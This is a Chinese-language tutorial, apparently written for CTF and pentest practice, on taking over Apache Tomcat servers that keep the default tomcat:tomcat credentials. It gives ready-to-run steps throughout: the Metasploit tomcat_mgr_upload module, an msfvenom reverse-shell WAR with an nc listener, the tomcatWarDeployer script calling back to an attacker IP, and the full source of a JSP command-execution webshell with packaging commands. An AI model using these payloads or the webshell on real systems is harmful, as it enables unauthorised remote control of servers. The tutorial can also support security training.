攻擊Tomcat的多種姿勢
大家好,本文我想分享一下我的經驗,如果你的Tomcat應用設定的是預設登陸憑證時(Tomcat:Tomcat)如何進行利用?當我在打CTF時,很多次我都發現目標主機上的Tomcat應用都是配置的預設登陸憑證,這有助於我們拿到主機的遠端shell。因此,我感覺應該記錄一下所有攻擊Tomcat應用並獲取遠端主機webshell的方法。
目錄
·Tomcat經過身份驗證的上傳程式碼執行
·生成.war格式的後門
·Tomcat war部署指令碼
·生成JSP webshell
首先使用nmap進行掃描,看看8080埠是否執行著Tomcat服務
nmap -sV -p8080 192.168.1.101
從掃描結果可以看到,8080埠是開放的,執行著Apache Tomcat。我們用瀏覽器來訪問以下目標IP地址,後面帶上埠號。我們可以看到一個HTTP身份認證頁面來登陸Tomcat管理後臺。
Tomcat經過身份驗證的上傳程式碼執行
目標伺服器是Apache Tomcat,而且洩露了管理後臺,我們可以利用一個模組來執行payload。這個payload作為一個war檔案上傳,這個payload包含了一個jsp應用,該jsp應用使用POST方式向/manager/html/upload元件發起請求。請注意,根據目標主機的不同,這個payload的設定也會有所不同。比如,如果你的目標主機是Windows,那麼你得使用原生的windows payload。
use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101 msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080 msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat msf exploit(multi/http/tomcat_mgr_upload) > exploit
如圖所示,我們可以看到我們已經拿下了目標主機的meterpreter會話:
生成.war格式的後門
我們可以使用msfvenom來為java和jsp payload生成一個.war格式的後門。你要做的就是按照下面提供的語法來建立一個.war格式的檔案並啟動nc進行監聽:
Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name]
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war nc -lvp 1234
現在,使用預設的登陸憑證Tomcat:tomcat登陸到Tomcat管理後臺中,登陸成功後你就能看到管理員面板,在這裡你可以上傳.war檔案。
如圖所示,你可以看到我已經在截圖中圈出了“瀏覽惡意的shell.war檔案進行部署”。一旦你成功上傳你的war檔案,在應用表中,你可以看到一個跟你war檔名字相同的目錄。
想要執行你的war檔案,你需要進入該目錄並點選war檔案,或者是直接在URL裡訪問。
一旦你執行了war檔案,你就可以通過nc獲得一個反向連線。
耶,我們又一次獲得了一個遠端主機的webshell。
Tomcat War部署指令碼
這是一個滲透測試工具,旨在利用Apache Tomcat憑證以自動生成和部署JSP後門,一旦之後觸發這個後門,就會返回一個令人大快人心的shell了(不管是通過web gui還是監聽繫結到目標主機的埠或者是回連到攻擊者的反向TCP payload)。
實際上,它會動態的生成JSP後門war包,然後使用pentester提供的有效的HTTP身份認證憑證(或者自定義憑證,一般都是Tomcat:tomcat)登陸到Tomcat管理介面中並且將其部署到Tomcat應用程式中。
部署指令碼你可以在這裡進行下載:
https://github.com/mgeeky/tomcatWarDeployer
git clone https://github.com/mgeeky/tomcatWarDeployer cd tomcatWarDeployer ls
現在再按照語法來對目標主機進行漏洞利用,不用再手動上傳war檔案了。
Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port]
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080
一旦執行了上述命令,我們就可以直接獲得一個webshell了,如下圖所示:
生成JSP webshell
接下來,我們就來看看如何生成和部署webshell來獲得Tomcat應用中的執行命令。
首先,我們需要寫一個webshell並且打包成war格式。我們可以使用下面的程式碼來寫一個webshell:
<span style="color: #000000;"><FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } }catch(IOException e) {e.printStackTrace();} } %> <pre><%=output %></pre></span>
儲存程式碼為index.jsp檔案,然後使用下列命令來打包:
mkdir webshell cp index.jsp webshell/ cd webshell jar -cvf ../webshell.war *
執行完這條命令,你就能生成一個war檔案,你可以將這個war檔案部署在Tomcat應用中。
如下圖所示,你可以看到,我已經成功上傳並部署了webshell.war檔案,現在我們點選這個檔案來執行:
在執行/webshell時,你會得到一個404錯誤頁面,現在再執行webshell下的index.jsp檔案,如下:
http://192.168.1.106:8080/webshell/index.jsp
訪問了上述URL後,你會得到一個命令執行的表單,現在你就可以在這個表單上任意執行cmd命令了,如圖:
本文到此結束,希望大家有所收穫。